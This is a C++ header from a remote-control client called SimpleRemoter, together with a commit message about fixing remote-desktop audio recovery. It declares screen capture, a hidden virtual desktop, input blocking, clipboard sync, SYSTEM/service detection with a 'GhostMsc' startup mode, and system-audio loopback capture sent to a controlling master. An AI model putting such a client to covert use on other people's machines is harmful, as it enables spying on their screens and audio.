Files
SimpleRemoter/client/ScreenManager.h
T
yuanyuanxianganddeepseek-flash f96e4a7320 Fix: recover remote desktop audio after dropped formats and sleep
The client's audio thread starts before the capture thread sends
TOKEN_BITMAPINFO, so its first packet - the only one carrying the
AudioFormat - reaches the master before CScreenSpyDlg exists and is
dropped as an unknown command. Without a format the master cannot open
waveOut, and the client re-announced only on an audio off/on, so a
remote desktop opened with audio enabled stayed silent until the toolbar
button was toggled twice. The master now asks for a re-announce when
data arrives with no format on record (CMD_AUDIO_CTRL enable,
persist=0, one request per 2 s, 15 attempts max), and the client
attaches the format to its next packet.

Entering Modern Standby tears down the render endpoint. The client got
AUDCLNT_E_DEVICE_INVALIDATED and rebuilt its loopback capture in that
same instant; the new client initialized and started fine but was bound
to the dying audio engine, so after resume GetNextPacketSize returned
zero packets forever without error, and only a fresh screen session
recovered. The audio thread now measures its own loop gap (GetTickCount64
plus wall clock, 2 s; a normal pass is ~10 ms) and rebuilds the capture
client after the machine was frozen, waits a second after an
invalidation, and rebuilds on an audio off-to-on.

The master rebuilds waveOut on resume from WM_POWERBROADCAST. The format
recovery was verified live; the resume recovery is build-verified and
awaits a field check on a sleeping machine.

Co-Authored-By: deepseek-flash
2026-11-07 12:26:49 +01:00

147 lines
5.9 KiB
C++

// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
bool IsWindows8orHigher();
#if ENABLE_SCREEN==0
#define CScreenManager CManager
#else
#include "ScreenSpy.h"
#include "ScreenCapture.h"
// WASAPI 前向声明 (COM 接口)
struct IMMDevice;
struct IAudioClient;
struct IAudioCaptureClient;
// WAVEFORMATEX 使用 void* 避免包含头文件
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
BOOL IsRunningAsSystem();
class IOCPClient;
struct UserParam;
class CScreenManager : public CManager
{
public:
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
ScreenSettings m_ScreenSettings = { 20 };
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖)
// 远程桌面调优开关位(CMD_SCREEN_TUNING 下发),本地初值 0,主控端默认下发 0x3
//(GDI 去延时+发送节流;x264 码率封顶默认关,仅限洲际弱网时勾选)。
// 保存在这里而不是 ScreenSettings 里,避免改动服务端↔客户端的固定结构体布局。
int m_nTuningFlags = 0;
virtual void InitScreenSpy();
void LoadQualityProfiles(); // 从配置文件加载质量配置
void SaveQualityProfiles(); // 保存质量配置到配置文件
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
UserParam *m_pUserParam = NULL;
INT_PTR m_ptrUser;
HDESK g_hDesk;
BOOL m_isGDI;
std::string m_DesktopID;
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
RECT m_ROI = {0};
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
BOOL m_SwitchScreen = TRUE;
BOOL SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
std::string m_hash;
std::string m_hmac;
CONNECT_ADDRESS *m_conn = nullptr;
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
void SetConnection(CONNECT_ADDRESS* conn)
{
m_conn = conn;
if (conn) m_MyClientID = conn->clientID;
}
bool IsRunAsService() const
{
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
return true;
static BOOL is_run_as_system = IsRunningAsSystem();
return is_run_as_system;
}
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
HDESK s_inputDesk = NULL;
clock_t s_lastCheck = 0;
DWORD s_lastThreadId = 0;
bool SwitchScreen();
bool RestartScreen(BOOL switchScreen = FALSE);
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab)
virtual BOOL OnReconnect();
uint64_t m_nReconnectTime = 0; // 重连开始时间
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
std::string m_Signature;
// 虚拟桌面
BOOL m_virtual;
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
int m_nSwitchWindowIndex = 0; // 切换窗口索引
// ========== 系统音频捕获 (WASAPI Loopback) ==========
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程)
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
// 主控请求重发音频格式包:带格式的首包可能比 TOKEN_BITMAPINFO 先到,被主控当未知
// 命令丢掉;主控发现没收过格式时会发 enable 控制命令来要一次。幂等:格式没变主控不重建。
volatile BOOL m_bAudioFormatResend = FALSE;
// 请求音频线程重建 WASAPI 捕获客户端。系统休眠/恢复后旧的捕获客户端会作废,
// 但 GetNextPacketSize 不报错、永远返回 0,从此再也收不到包(主控那边看起来
// 一切正常)。COM 对象只允许音频线程自己释放,所以这里只登记标志。
volatile BOOL m_bAudioDeviceDirty = FALSE;
HANDLE m_hAudioThread = NULL; // 音频线程句柄
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
// WASAPI 相关
IMMDevice* m_pAudioDevice = nullptr;
IAudioClient* m_pAudioClient = nullptr;
IAudioCaptureClient* m_pCaptureClient = nullptr;
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
void UninitWASAPI(); // 释放 WASAPI 资源
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
};
#endif
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)